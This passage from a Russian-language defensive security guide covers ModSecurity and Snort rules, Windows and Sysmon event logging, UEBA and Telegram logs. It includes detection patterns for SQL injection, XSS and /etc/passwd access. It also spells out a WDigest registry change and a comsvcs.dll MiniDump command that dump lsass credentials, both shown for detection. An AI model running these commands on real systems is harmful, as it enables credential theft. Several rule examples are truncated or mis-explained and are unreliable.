инцидентах Логи могут быть настроены в соответствии с требованиями и включать в себя различные уровни детализации, в зависимости от потребностей безопасности вашего приложения Электронные уведомления: В ModSecurity может быть настроена отправка почтовых сообщений в случае срабатывания определенных правил или классов атак. Для этого можно использовать настройку SecAction с действием: log, pass, phase:2, msg:'Message to alert admin', logdata:'adminadmin@email.com' Интеграция с системами мониторинга: ModSecurity может интегрироваться с внешними системами мониторинга, такими как SIEM. Это позволяет администраторам централизованно отслеживать безопасность в реальном времени и получать оповещения. Мониторинг системных журналов: События ModSecurity также могут быть отправлены в системные журналы операционной системы. Администраторы могут настроить мониторинг этих журналов для обнаружения и реагирования на инциденты. Использование специфических настроек в конфигурации: В ModSecurity существует настройка SecAuditLogRelevantStatus, которая позволяет настроить конкретные статусы ответов, при которых должны генерироваться оповещения. Например, для оповещения при срабатывании правил, приводящих к статусам 5xx и 4xx, вы можете установить: SecAuditLogRelevantStatus "^(5|4\[0-9\]\[0-9\])$" Как было сказано ранее, ModSecurity можно использовать в базовой комплектации правил, но как правило, ее может быть недостаточно, поэтому очень важна кастомизация ModSecurity. Она позволит адаптировать WAF под конкретные потребности безопасности веб-приложения. Это может включать в себя настройку правил фильтрации, оптимизацию производительности, а также логирования событий под требования безопасности. Кастомизация ModSecurity также полезна для учета специфических сценариев использования, например, когда веб-приложение использует веб-сервисы или API. Так как ModSecurity — инструмент с открытым исходным кодом, он легко поддается кастомизации, и также может интегрироваться с внешними системами мониторинга и управления инцидентами. **Snort** Snort — IDS/IPS с открытым исходным кодом. Метод обнаружения атак — сигнатурный анализ трафика. Поддерживает обнаружение атак на различных уровнях сети, включая IP, TCP, UDP, ICMP, и другие протоколы. Примеры правил Snort Пример 1: Правило обнаруживает попытки SQL-инъекций в URL с использованием одинарной кавычки (%27). ``` alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL Injection Attempt"; flow:to_server,established; content:"%27"; classtype:web-application-attack; sid:1;) ``` Пример 2: Правило обнаруживает попытки доступа к файлу /etc/passwd в сетевом трафике. ``` alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"Attempt to access /etc/passwd"; content:"/etc/passwd"; classtype:attempted-recon; sid:2;) ``` Пример 3: Правило обнаруживает попытки XSS-атак с использованием встроенного скрипта в теле HTTP-запроса. ``` alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"XSS Attack Attempt"; flow:to_server,established; content:"" ``` modsecurity.conf в разделе Настройка modescurity **Структура файла настроек** Файл настройки разбит на следующие блоки (логически) - Общие настройки - Настройки аудита - Дополнительные настройки - Правила Можно распределить настройки по файлам, указав в основном файле ссылки на дополнительные файлы. Общие настройки
ПараметрОписаниеНеобходимость
**Основной**
SecRuleEngineВключает модуль DetectionOnly - только логгирование (но лимиты все равно работают) On - включена и блокировка ``` SecRuleEngine On ``` +
SecDefaultActionДействие по умолчанию в случае соответствия фильтрам. ``` SecDefaultAction "phase:1,log,auditlog,pass" ``` +/-
**Настройки запроса**
SecRequestBodyAccessБуферизация тела запроса. Если отключить, то не будет доступа к post параметрам. ``` SecRequestBodyAccess On ``` -
SecRequestBodyLimitМаксимальный размер тела запроса. Устаревший параметр. ``` SecRequestBodyLimit 134217728 ``` -
SecRequestBodyLimitActionДействие при превышении лимита тела запроса ProcessPartial продолжить без буферизации Reject запретить -
SecRequestBodyInMemoryLimitМаксимальный размер тела запроса (не понял отличия) Возможно, лимит буферизации в ОП или на диске-
SecRequestBodyNoFilesLimitМаксимальный размер тела запроса исключая размер файла-
**Настройки ответа**
SecResponseBodyAccessБуферизация тела ответа. Часто можно установить в Off, поскольку известны ответы. ``` SecResponseBodyAccess On ```
SecResponseBodyLimit SecResponseBodyLimitAction Как для запроса
SecResponseBodyMimeType Список MIME типов для анализа ``` SecResponseBodyMimeType text/plain text/html ```
SecResponseBodyMimeTypesClear ХЗ
**Хранение данных**
SecDataDirПапка хранения постоянных данных ``` SecDataDir /tmp/ ``` +
SecTmpDirПапка хранения временных данных ``` SecTmpDir /tmp/ ``` +
SecUploadDirРазмещение закачанных файлов
SecUploadKeepFilesВключить / выключить сохранение файлов
SecUploadFileModeПрава на сохраненные файлы ``` SecUploadFileMode 0600 ```
SecUploadFileLimitОграничение на количество файлов в одном запросе
Настройки логгирования
ПараметрОписаниеНеобходимость
**Лог отладки**
SecDebugLogФайл сохранения лога отладки+
SecDebugLogLevelУровень предупреждений. Хватает 3. 0-отключено, 9-максимально-
**Лог данных**
SecAuditEngineOn логгировать все RelevantOnly только попавшие под правила Off не логгировать +
SecAuditLogФайл лога +
SecAuditLogRelevantStatusСтатус ответа, попадающего под лог. Например ``` SecAuditLogRelevantStatus "^(?:5|4(?!04))" ``` -
SecAuditLogPartsA Заголовок события (время, уникальный ID и т.д.) B Заголовки HTTP-запроса C Тело запроса (POST data, JSON, XML и т.п.) E Внутреннее тело ответа (редко нужно) F Заголовки HTTP-ответа G Само тело ответа (HTML, JSON и т.п.) H Итоговая информация: какие правила сработали, теги, сообщение и т.д. I Подробности внутреннего состояния движка J Содержимое/метаданные загруженных файлов K Все сработавшие правила (включая нефатальные) Z Маркер конца записи (всегда нужен) ``` SecAuditLogParts ABIJEFHZ ``` -
SecAuditLogTypeSerial Все логи в один файл — последовательно (по умолчанию). Concurrent Каждое событие в отдельный файл, а общий индекс (audit.log) ведётся отдельно. Удобно, когда нужно параллельное логирование. HTTPS Отправляет аудит-логи по HTTP/HTTPS на удалённый сервер, обычно в систему централизованного логирования (SIEM, ELK и т.д.). -
Дополнительные настройки
ПараметрОписание
SecArgumentSeparatorУстанавливает разделитель в application/x-www-form-urlencoded По умолчанию & но иногда бывает и другое ``` SecArgumentSeparator & ```
SecCookieFormatВерсия парсера cookies. 0 или 1. 0 - по умолчанию - более чем достаточно.
Пример минимального файла без правил. ``` # Basic Configuration SecRuleEngine On SecRequestBodyAccess On SecResponseBodyAccess Off # Audit Log Settings SecAuditEngine On SecAuditLogType Serial SecAuditLog /var/log/modsecurity/audit.log # Debug Settings SecDebugLog /var/log/modsecurity/debug.log SecDebugLogLevel 9 # Temporary directories SecTmpDir /tmp/ SecDataDir /tmp/ ``` **Настройка отладки** Для nginx нет возможности разделить настройку в стиле тегов в пределах файла конфигурации modsecurity. Можно разделить только на уровне web сервера. ``` location /myapp/ { modsecurity on; modsecurity_rules_file /usr/local/nginx/modsecurity/modsecurity_debug.conf; root /usr/local/nginx/html; } ``` То есть это отдельный файл с собственными настройками. Вариант динамического изменения уровня в правилах тоже не работает в 3 версии. Возможен анализ User-Agent ``` SecRule REQUEST_HEADERS:User-Agent YOUR_UNIQUE_ID phase:1,nolog,pass,ctl:debugLogLevel=9 ``` **Правила modsecurity** SecRule VARIABLES OPERATOR TRANSFORMATION
VARIABLESТочки запроса, к которым применяется правило.
OPERATORРегулярное выражение для поиска в VARIABLES.
TRANSFORMATIONДействия в случае совпадения
Переменные (VARIABLES) - REQUEST\_URI: URI запроса; - ARGS: параметры запроса; - REQUEST\_BODY: тело запроса; - REQUEST\_COOKIES - куки; - REQUEST\_HEADERS - заголовки; - XML - XML код в запросе.и т.д. Операторы (OPERATOR) - @contains: содержит указанное значение; - @rx: совпадает с регулярным выражением; - @eq: равно указанному значению и другие. Модификаторы (TRANSFORMATION) SecRule ARGS "password" "@rx (?i)password" "id:2,phase:2,t:none,t:lowercase,t:urldecode,t:replaceComments" - t:none: Отключить все стандартные преобразования; - t:lowercase: Преобразовать в нижний регистр; - t:urldecode: Декодировать URL; - t:replaceComments: Удалить комментарии. Дополнительные опции SecRule REQUEST\_METHOD "@streq POST" "id:3,phase:2,chain,t:none,pass,nolog" SecRule REQUEST\_URI "@rx /login" "t:none,t:urldecode,t:replaceComments" - chain: Связывает два правила так, что следующее применяется только если предыдущее сработало; - pass: Продолжить выполнение правил вне зависимости от результата текущего; - nolog: Не записывать событие в лог. **Примеры правил ModSecurity** Пример 1: SecRule ARGS "password" "@rx (?i)password" "id:123,deny,status:403,msg:'Password leakage detected'" ``` ARGS: обращение к параметрам запроса @rx: оператор совпадения с регулярным выражением id: идентификатор правила deny: действие с запросом - запретить status: HTTP-статус ответа при срабатывании правила - 403 msg: название правила - 'Password leakage detected' ``` Данное правило ищет в параметрах запроса "password" и срабатывает при его обнаружении. Пример 2: SecRule ARGS "@rx ^(?:\\'|\\"|%27|%22|%3E|%3C|%3D|%3B|%20or%20|union|select|insert|update|delete|drop)" \\ "id:1,phase:2,deny,msg:'SQL Injection Attack'" Правило ищет SQL-инъекции в параметрах запроса (ARGS) и блокирует запрос, если обнаруживается соответствие с паттерном. Пример 3: SecRule REQUEST\_COOKIES|REQUEST\_HEADERS|ARGS|XML:/\* \\ "(<|%3C)(\[^sS\]\*s\[sS\]\*c\[cC\]\*r\[rR\]\*i\[iI\]\*p\[pP\]\*t\[tT\]\*)(>|%3E)" \\ "id:2,phase:2,t:none,deny,msg:'Cross-site Scripting (XSS) Attack'" Правило обнаруживает попытки вставки скриптов в запросы (XSS) и блокирует их. Пример 4: SecRule FILES\_TMPNAMES "@inspectFile /etc/passwd" \\ "id:3,phase:2,t:none,deny,msg:'Attempt to access /etc/passwd'" Правило анализирует временные файлы, загруженные на сервер, и блокирует запрос, если в содержимом обнаруживается попытка доступа к файлу /etc/passwd. Пример 5: SecRule RESPONSE\_BODY "@contains 'Invalid password'" \\ "id:5,phase:4,t:none,log,deny,msg:'Password brute force attempt'" Правило обнаруживает попытки подбора пароля по сообщению об ошибке в теле ответа и блокирует соответствующий запрос. **Как писать правила ModSecurity** ModSecurity Core Rule Set (CRS) — это набор правил, разработанный сообществом Open Web Application Security Project (OWASP) для использования с ModSecurity. Эти правила предназначены для обеспечения базовой защиты от различных видов популярных веб-атак. Вам не всегда нужно создавать свои собственные правила, так как CRS уже предоставляет обширный набор правил, охватывающих множество сценариев атак. Но если у организации есть специфические требования или вы хотите настроить правила под свои нужды, вы можете создавать собственные правила, в соответствии со следующим алгоритмом: 1\. Определите цель правила Определите, какую атаку или вид активности вы хотите обнаруживать. Решите, на какую часть HTTP-запроса (например, заголовки, тело запроса, параметры запроса) должно применяться правило. 2\. Создайте правило Определите фазу, на которой будет выполняться правило (например, phase:1 или phase:2). Используйте документацию ModSecurity для создания правила, например: SecRule REQUEST\_HEADERS:User-Agent "@contains badbot" "id:1001,phase:2,deny,msg:'Bad Bot Detected.'" Это правило запрещает запросы с User-Agent, содержащим строку "badbot" в заголовках. 3\. Тестируйте правило Включите правило и протестируйте его - нужно убедиться, что правило срабатывает на атаки и не фолсит. Используйте инструменты для тестирования веб-безопасности (например, burp suit), чтобы проверить, как правило реагирует на различные виды запросов. Если правило срабатывает не так, как хотелось бы, или блокирует легитимные запросы, исправьте его, чтобы снизить ложные срабатывания. Просматривайте логи ModSecurity для выявления проблем и улучшения правил. 4\. Документируйте Добавьте комментарии к правилу, объясняющие его цель и предназначение. Ведите документацию, чтобы другие коллеги могли легко понять, почему правило было создано. Другой пример правила, предназначенного для блокировки SQL-инъекций: SecRule ARGS|ARGS\_NAMES|REQUEST\_HEADERS|XML:/\* "@rx (?i:(?:\\b(?:union\\s\*all|select\\s\*(?:.+)\\s\*from|create\\s\*(?:.+)\\s\*table|delete\\s\*from|drop\\s\*(?:.+)\\s\*table|exec\\s\*(?:\\w+\\s\*|\\s\*)\\(|insert\\s\*into|shutdown|update\\s\*(?:.+)\\s\*set)\\b))" "phase:2,deny,status:403,id:1002,msg:'SQL Injection attempt.'" Это правило проверяет параметры запроса, заголовки и XML-данные на наличие попыток SQL-инъекций. # Обнаружение на альтернативных периметрах **Windows события** eventvwr.msc **Категории системных журналов:** - Приложения (Application) – как и гласит название, содержит события и ошибки приложений. - Безопасность (Security) – если в операционной системе включена и настроена функция аудита, журнал будет содержать записи, связанные с отслеживанием соответствующих событий (например, авторизация пользователя или попытки неудачного входа в операционную систему, события создания процессов и завершении их работы). - Система (System) – здесь регистрируются события операционной системы и системных сервисов, их критичные завершения работы. - Установка (Setup) – события, связанные с инсталляцией обновлений Windows, дополнительных приложений. В разделе Журналы приложений и служб (Applications and Services Logs) детальная информация о событиях отдельных служб и приложений, зарегистрированных в операционной системе. **Типы событий:** - Сведения (Information) — информируют о штатной работе приложений; - Предупреждение (Warning) — событие, свидетельствующее о возможных проблемах в будущем (например, заканчивается свободное место на диске – приложения могут продолжать работу в штатном режиме, но когда место закончится совсем, работа будет невозможна); - Ошибка (Error) — проблема, ведущая к деградации приложения или службы, потерям данных; - Критическое (Critical) — значительная проблема, ведущая к неработоспособности приложения или службы; - Аудит успеха (Success audit) — событие журнала Безопасность (Security), обозначающее успешно осуществленное действие, для которого включено отслеживание (например, успешный вход в систему); - Аудит отказа (Failure audit) — событие журнала Безопасность (Security) обозначающее безуспешную попытку осуществить действие, для которого включено отслеживание (например, ошибка входа в систему). **Фильтр журнала:** Правый клик по журналу – Фильтр текущего журнала… (>Filter Current Log…), Можно задать временной период, уровни события, выбрать журналы и конкретные источники событий, коды событий. По умолчанию файлы журналов событий Windows используют расширение EVTX и находятся в папке %SystemRoot%\\System32\\winevt\\Logs. Приложение Просмотр событий (Event Viewer) позволяет также настроить дополнительные свойства журналов. Доступ к настройкам можно получить через панель быстрых действий, либо через контекстное меню журнала – правый клик по журналу – Свойства (Properties): Настраивается путь файла журнала, текущий размер, максимальный размер файла. Для журнала "Система" желательно увеличить 100Мб, журнал security до 500Мб (при наличии достаточного запаса объема дискового пространства то увеличить до 1Гб) Вариант действия при достижении журналом максимального значения: - Переписывать события при необходимости (Overwrite events as needed) – новое событие будет записываться поверх самого старого события в журнале, таким образом будут доступны события только за определенный диапазон времени. - Архивировать журнал при заполнении (Overwrite the log when full) – заполненный журнал будет сохранен, последующие события будут записываться в новый файл журнала. При необходимости доступа к старым событиям, архивный файл можно будет открыть в приложении Просмотр событий (Event Viewer). - Не переписывать события (Do not overwrite events) – при заполнении журнала выдается системное сообщение о необходимости очистить журнал, старые события не перезаписываются. **Настройка размера журналов с помощью групповой политики (GPO):** Запустите консоль Group Policy Management (gpmc.msc), создайте новую GPO и назначьте на OU с компьютерами или серверами, для которых вы хотите изменить настройки Event Viewer (или назначьте GPO на корень домена); Перейдите в раздел GPO Computer Configuration -> Policies -> Administrative Templates -> Windows Components -> Event Log Service. Как вы видите, в этом ветке есть подразделы для управления базовыми журналами Windows: Application, Security, Setup, System; Чтобы увеличить максимальный размер любого из журналов, откройте параметр Specify the maximum log file size (KB), включите его и задайте нужный вам размер (минимум для Security, Sysmon — 500Мб, для остальных журналов минимум — 200Мб; Обновите настройки политики на клиентах и проверьте, что в свойствах журнала теперь указан новый размер. **Первоочередный анализ** **Журнал Security (безопасность).** Будем перечислять события по идентификаторам (EventID): - 4688 — событие создания процесса. Данное событие полезно для выявления создания нелегитимных процессов, для отслеживания запуска хакерских утилит, выявления нетипичных командных строк, выявления аномалий между родительским и дочерним процессом. По умолчанию аудит данного события в системе не настроен. - 4624 — событие успешной аутентификации. Событие полезно для анализа нелегитимных входов пользователей, которые не должны аутентифицироваться на конкретном хосте, либо для выявления откуда исходило заражение. - 4625 — событие неуспешной попытки аутентификации. Событие полезно для выявления попыток подбора пароля. - 1102 — событие об очистке журнала событий Security. - 4697 — событие установки службы. Событие полезно для выявления закрепления злоумышленника в системе через службы Windows. - 4648 — событие попытки входа под заданной учетной записью. Активность может быть сгенерирована, когда процесс выполняется в режиме “Запуск от имени” (run as). В нормальном режиме работы систем данное событие встречается достаточно редко. **Журнал System (Система):** - 104 — событие очистки журнала событий. - 7045 — событие установки службы. Событие полезно для выявления закрепления злоумышленника в системе через службы Windows. **Журнал TerminalServices-RemoteConnectionManager:** 1149 — событие аутентификации по протоколу RDP (Remote Desktop Protocol). Полезен для выявления нелегитимных аутентификаций по RDP. **Журнал PowerShell:** 4103 — событие фиксирует информацию о каждой выполненной команде и параметрах, с которыми она вызывалась. Полезен для выявления запуска командлетов powershell для выполнения разведки на рабочей станции или иных вредоносных действий. По умолчанию аудит данного события в системе не настроен. 4104 — событие фиксирует содержимое скрипта powershell на исполнение. Журналирование блокировки скриптов показывает каждый выполненный блок кода powershell. Даже если злоумышленник попытается скрыть команду, этот тип события покажет фактически выполненную команду powershell. Ещё в этом типе события могут фиксироваться некоторые выполняемые низкоуровневые вызовы API, эти события обычно записывается как Verbose, но, если подозрительная команда или сценарий используются в блоке кода, он будет зарегистрирован как c критичностью Warning. По умолчанию аудит данного события в системе не настроен. **Расширение журналируемых событий** Пример конфигурационного файла Sysmon от Флориана Рофа - [конфигурация](https://github.com/bakedmuffinman/Neo23x0-sysmon-config/blob/main/sysmonconfig-export.xml). **Sysmon** Sysmon (сокращение от System Monitor) — инструмент Microsoft в наборе Sysinternals для мониторинга и регистрации деятельности в операционной системе Windows. Он предоставляет дополнительную информацию о событиях в системе. Задачей Sysmon является обнаружение и защита от вредоносного поведения, а также расследование инцидентов безопасности в сети. Он позволяет анализировать системные события, предоставляя информацию о процессах, сетевых подключениях, файловой активности, загрузке драйверов, реестре и т. д. Функциональность Sysmon позволяет: - фиксировать событие запуска и завершения процессов, при этом событие создания процесса в sysmon содержит в себе хэш-сумму запущенного процесса и командную строку родительского процесса, которых нет в событи 4688 расширенного аудита Windows; - мониторировать сетевую активность, включая открытие и закрытие сетевых соединений и DNS-запросы; - отслеживать загрузку драйверов и загрузку DLL-библиотек; - регистрировать создание и удаление файлов, доступ к файлам и изменение файловой системы; - анализировать действия с реестром, включая создание, изменение и удаление ключей и значений; - фиксировать создания потоков, именованных каналов между процессами; - мониторить изменения содержимого буфера обмена, способы сокрытия; - выполнять активную функцию по блокировке запуска исполняемых файлов указанных в конфигурационном файле. **EventLogExplorer:** — эффективное средство для просмотра и анализа событий, хранящихся в журналах операционных систем семейства Microsoft Windows. Позволяет существенно ускорить и упростить решение задач анализа журналов событий. Возможности Event Log Explorer существенно шире, чем у стандартного приложения Просмотр событий. Остальной функционал и преимущества приведены ниже: - Высокая производительность. - Мощная система фильтрации. Предоставляет пять способов фильтровать события по любому критерию. Сложные фильтры можно использовать повторно — сохранять и позже использовать снова. Быстрые фильтры по подобию существенно ускоряют работу. - Непосредственный доступ. Позволяет организовать в виде дерева компьютеры и их Windows-логи (журналы), а также лог-файлы. При этом доступ к журналам и управление компьютерами, журналами становится очень простым, наглядным и быстрым. - Объединение журналов событий. Позволяет анализировать события Windows из разных источников (журналов и файлов) одновременно. Event Log Explorer позволяет объединять разные журналы с разных машин в одно представление (общий лог). Это очень помогает при анализе хронологии событий из множества источников. - Пользовательские колонки. Показывают данные из описаний событий (имя пользователя, имя файла и т.д.) в отдельных колонках в списке событий. Это позволяет анализировать отдельные самые важные данные из описаний событий без необходимости просматривать описания событий целиком. Эта возможность сильно ускоряет анализ данных журналов событий Windows. - Менеджер учетных данных. Позволяет хранить учетные данные к компьютерам. Когда вы открываете журнал компьютера по сети, Event Log Explorer использует те учетные данные, которые использовались в прошлый раз при работе с этим удаленным компьютером и его логами. - Распечатка и экспорт. Позволяет вам распечатывать события, отфильтрованные выборки событий из журналов, журналы целиком — все что пожелаете. Также можете экспортировать данные в разные форматы (Excel - xls, xlsx, csv-текст, html и evt). Вы можете выбрать колонки, которые нужно экспортировать или печатать, выбрать из различных макетов размещения данных при печати и просмотреть как будут выглядеть распечатки. - Планировщик и автоматизация. Позволяет легко автоматизировать многие задачи. Например, вы можете запланировать регулярный экспорт определенных выборок определенных событий из определенных журналов в Excel-файл в определенной папке. - Активный мониторинг. Можете настроить Event Log Explorer на регулярное обнаружение новых событий, удовлетворяющих заданному фильтру в определенных Windows-журналах в вашей сети. Также можно настроить получение оповещений на e-mail, когда заданные события появятся. Это позволит более оперативно реагировать на проблемы. - Резервное копирование. Предоставляет три способа резервного копирования журналов Windows: бэкап вручную, автоматическое резервное копирование при заполнении лога или планируемое расширенное резервное копирование с помощью нашей утилиты, интегрированной с Event Log Explorer. - Аналитические отчеты. В Event Log Explorer очень просто сделать аналитические отчеты и диаграммы для журналов Windows и выборок событий Windows. - Прямой доступ к файлам. Event Log Explorer может получать данные из EVT and EVTX файлов напрямую (без Windows API). Это позволяет извлекать данные даже из поврежденных файлов или работать с EVTX файлами в Windows XP. Закладки и цветовое кодирование. В Event Log Explorer процесс исследования сложных ситуаций становится немного приятнее благодаря множеству маленьких удобств, таких как цветовое кодирование (подсветка определенных событий заданными Вами цветами) и закладки (запоминание позиций в журнале или выборке и быстрый возврат к этим позициям). - Подмена источника описаний. При следственных действиях часто приходится работать с лог-файлами, взятыми с машин другой сетевой инфраструктуры. Вы можете задать другой компьютер, с которого будут браться описания событий, так как на компьютере исследователя могут отсутствовать необходимые описания. Например, при анализе логов, взятых с Windows-сервера, к которому нет доступа, можно указать другой сервер и получить необходимые описания. - Коррекция времени. При проведении исследования Вы можете столкнуться с журналами, взятыми с компьютеров, находившихся в другой временной зоне. По умолчанию события будут показываться в вашей временной зоне. Вы можете задать коррекцию времени и увидеть события так, как они происходили в том месте, в той временной зоне, где находится компьютер, с которого взяты данные. **EvtxECmd:** Инструмент EvtxECmd — парсер событий EVTX из набора утилит Эрика Зиммермана. Утилита позволяет конвертировать EVTX файлы с событиями в формат CSV, XML, JSON для более удобной дальнейшей работы с событиями. EvtxECmd не имеет графического интерфейса. Сконвертировать журнал событий Sysmon в формат CSV из формата EVTX с помощью команды: ``` EvtxECmd.exe -f "Microsoft-Windows-Sysmon%4Operational.evtx" --csv "C:\tools\EvtxECmd" --csvf sysmon.csv ``` Где ключ -f означает какой журнал событий принимается для конвертации, ключ --csv означает в какую папку сохраняем полученные данные, ключ --csvf задает имя сохраняемого файла в формате csv. **PowerShell** — командлеты PowerShell для работы с событиями позволяют гибко выполнять поиск нужных событий. Основные команды PowerShell для работы с логами: Get-EventLog — для работы с классическими журналами (Application, System, Security); Get-WinEvent — для работы с любыми журналами. Список доступных журналов можно получить командой: Get-WinEvent -ListLog Вывести 10 последних записей журнала System позволяет команда: Get-WinEvent –LogName ‘System’ –MaxEvents 10 Для более удобной фильтрации можно использовать хеш-таблицы, например, следующая команда выводит информацию о событиях журнала Security с кодом 4688, генерация которых связана с созданием процесса в операционной системе Windows: Get-WinEvent –FilterHashTable @{LogName=’Security’;ID=4688} **Анализ активности при дампе памяти процесса lsass.exe** Сервис проверки подлинности локальной системы безопасности (Local Security Authority Subsystem Service, LSASS) — часть операционной системы Windows, отвечающая за авторизацию локальных пользователей отдельного компьютера. Память процесса lsass.exe в нем хранятся хеши паролей учетных записей, прошедших аутентификацию. Если еще включить функцию WDigest, то в таком случае злоумышленник получит уже пароли в открытом виде. Сделать это злоумышленник может одним из способов с помощью изменения реестра: reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG\_DWORD /d 1 Способов дампа различными утилитами памяти процесса lsass.exe огромное множество, мы проанализируем один из вариантов. **Один из способов дампа памяти процесса lsass.exe** Событие 1 Sysmon зафиксировало подозрительную командную строку: "C:\\Windows\\system32\\rundll32.exe" C:\\windows\\system32\\comsvcs.dll MiniDump 728 dump.bin full Где rundll32.exe запускает библиотеку comsvcs.dll и вызывает функцию MiniDump, цифра 728 — это идентификатор процесса lsass.exe. Далее сохраняет в файл дамп памяти процесса lsass.exe, full - означает полный дамп памяти процесса. Команда, запущенная с высокими правами - High. Процесс-инициатор — C:\\Windows\\system32\\rundll32.exe Процесс, к области памяти которого было обращение. Напомним, что lsass.exe содержит в памяти как минимум хеши аутентифицированных пользователей — C:\\Windows\\system32\\lsass.exe Права доступа запрошены, в том числе и на чтение, которое достаточно для дампа - 0x1410 Стек вызовов (CallTrace) содержит библиотеку comsvcs.dll, у которой есть функция MiniDump для дампа памяти процессов. Таким образом злоумышленнику даже не нужно на рабочую станцию с собой приносить инструмент для дампа памяти процесса lsass.exe, т.к. операционная система имеет достаточный функционал для этого. Подобный функционал, который используется злоумышленниками в своих атаках называется LOLBins. LOLBins (Living Off the Land Binaries and Scripts) – это термин, используемый в кибербезопасности для обозначения легитимных исполняемых файлов, скриптов или утилит, уже доступных на компьютере пользователя, с помощью которых хакеры выполняют различные вредоносные действия. **Поведенческий анализ** Поведенческий анализ помогает выявлять отклонения от нормального поведения пользователя, что может указывать на компрометацию аккаунта или вредоносную активность. Анализируя поведение, системы безопасности могут классифицировать типы угроз и атак, определяя потенциальные цели злоумышленников. Техника направлена на быстрое обнаружение подозрительных действий, что позволяет оперативно реагировать на угрозы. **Поведенческий анализ в приложениях** В контексте безопасности под поведенческим анализом понимается мониторинг и анализ поведения пользователей в приложениях с целью выявления аномальных и подозрительных активностей. Месседжеры - Обнаружение необычных входов — проверка местоположения входа в аккаунт. - Сравнение с предыдущими местами входа. - Мониторинг частоты сообщений — анализ необычно высокой или низкой активности в отправке сообщений. - Фильтрация контента — обнаружение отправки или получения подозрительных файлов. - Анализ необычного поведения в чатах. Почтовые приложения - Обнаружение подозрительных вложений — мониторинг вложенных файлов с подозрительными расширениями. - Отслеживание необычных попыток входа — защита от несанкционированных попыток доступа к электронной почте. - Анализ паттернов активности — определение необычных времен отправки и получения писем. 1С - Аномальные попытки входа в систему. - Необычные запросы и операции: изменение уровня доступа или ролей пользователя, необычные или редкие запросы к базе данных или изменения данных. - Попытки доступа к защищенным или чувствительным данным после нескольких неудачных попыток. - Необычные объемы передачи данных. - Попытки изменения или удаления журналов регистрации. **Системы анализа поведения пользователей** Системы анализа поведения пользователей (User and Entity Behavior Analytics, UEBA) позволяют проводить анализ поведения пользователей и сущностей (Entity). Основная цель UEBA заключается в выявлении аномальных и потенциально угрожающих действий, которые могут указывать на наличие киберугроз или несанкционированной активности в сети. Основные задачи систем UEBA: - Определение типичного поведения пользователей в приложениях. - Выявление аномалий на фоне определенного типичного поведения пользователей. - Выявление потенциальных угроз безопасности. - Анализ данных в контексте, с учетом особенностей среды и типичное поведение пользователей в различных ситуациях. С открытым исходным кодом можно использовать системы ниже: - Wazuh — платформа для обеспечения безопасности, предоставляющая агентов для сбора данных, включая логи, и систему анализа поведения. - MozDef — это бесплатная открытая платформа для обработки и анализа событий безопасности, которая включает в себя модули для обнаружения аномалий. - ELK Stack (Elasticsearch, Logstash, Kibana) — ELK Stack часто используется для централизованного сбора и анализа логов, и его можно настроить для обнаружения аномалий. **Интеграция систем поведенческого анализа с мессенджерами** При интеграции мессенджеров с UEBA-системами осуществляется: - Логирование и сбор данных. Необходим доступ к логам мессенджеров. Логи как правило включают в себя события входа и выхода, обмен сообщениями, создание и редактирование групп и другие активности пользователей. Логи должны быть стандартизованы и нормализованы в зависимости от используемой системы. - Анализ поведения. Системы поведенческого анализа используют алгоритмы и методы машинного обучения для анализа поведения пользователей. Они используются для выявления стандартных паттернов активности и обнаружения аномальных действий. - Учет контекста. Стандартные паттерны активности пользователей включают в себя контекст — время активности, местоположение пользователя, устройства и другие параметры, таким образом можно выявить аномалии в поведении пользователя. - Обнаружение аномалий. После выявления стандартных паттернов с учетом окружающего контекста, становится возможным выявлять аномалии в поведении пользователей. - Использование баз известных угроз. Помимо вышеперечисленного, подозрительные действия также выявляются на основе предыдущих инцидентов безопасности. Метрики, которые могут использоваться при выявлении аномалий: - Время активности пользователя; - Геолокация пользователя; - События успешных/неуспешных логинов; - Объем передаваемых и получаемых данных; - При наличии доступа к соответствующим логам: изменения в структуре групповых чатов, содержание сообщений и содержание вложенных файлов. В системах поведенческого анализа без интеграции с SIEM и IRP можно настроить отправку оповещений Blue Team, в которых будет содержаться информация о событиях ИБ. Далее Blue Team может принимать меры по расследованию и реагированию. **Логирование в мессенджерах на примере Telegram** По умолчанию логирование в Telegram крайне ограничено. Путь к файлу логов можно найти, открыв окно с настройками и введя viewlogs, - после этого откроется папка с файлом log.txt Это могут быть пути: - На MacOS: /Users/USERNAME/Library/Application Support/log.txt. - На Windows: C:\\Users\\USERNAME\\AppData\\Roaming\\Telegram Desktop\\log.txt. - На Linux Ubuntu: /home/user/.local/share/TelegramDesktop/log.txt. Файл log.txt постоянно обновляется, при этом вес его не должен превышать 250 Кб. Файл содержит логи об ошибках приложения, визуальной составляющей (например, загрузка шрифтов), о работе аудиоустройств и т.д. Эти логи, прежде всего, необходимы разработчикам для устранения ошибок в работе приложения, и представляют мало интереса с точки зрения безопасности. Расширенные логи можно получить путем включения режима отладки (debug mode). Для этого при открытом окне настроек Telegram необходимо ввести debug mode, Telegram запросит подтверждение для включения этого режима. По умолчанию debug mode отключен. Если организации необходимо отслеживать расширенные логи приложения Telegram у сотрудников, нужно учесть следующие важные моменты: - На рабочем устройстве в Telegram должен быть включен debug mode. Например, сотрудники получают устройства с предустановленным ПО, и администраторы заранее включили режим отладки. Учитывая, что любой пользователь может самостоятельно отключить debug mode, организации небходимо отслеживать события включения-выключения этого режима, что можно делать с помощью записи событий из обычных логов log.txt. - Логи с включенным debug mode могут содержать чувствительную для пользователя и для организации информацию: названия чатов, в которых состоит пользователь, контакты пользователя, текст сообщений, время просмотра чатов, время звонков, формат звонков (аудио/видео) и т.д. Это требует, во-первых, предупреждения сотрудников о том какую информацию собирает компания, во-вторых, необходимо обеспечить безопасную передачу данных из файлов логов до, например, SIEM. Пути до файлов логов будут аналогичными тем, где находится log.txt, сами логи хранятся в папке DebugLogs. Пример log.txt: ``` [2024.01.22 13:22:02] Launched version: 4014009, install beta: [FALSE], alpha: 0, debug mode: [FALSE] [2024.01.22 13:22:02] Executable dir: /Applications/, name: Telegram.app [2024.01.22 13:22:02] Initial working dir: // [2024.01.22 13:22:02] Working dir: /Users/USERNAME/Library/Application Support/Telegram Desktop/ [2024.01.22 13:22:02] Command line: /Applications/Telegram.app/Contents/MacOS/Telegram -noupdate -tosettings [2024.01.22 13:22:02] Executable path before check: /Applications/Telegram.app [2024.01.22 13:22:02] Logs started 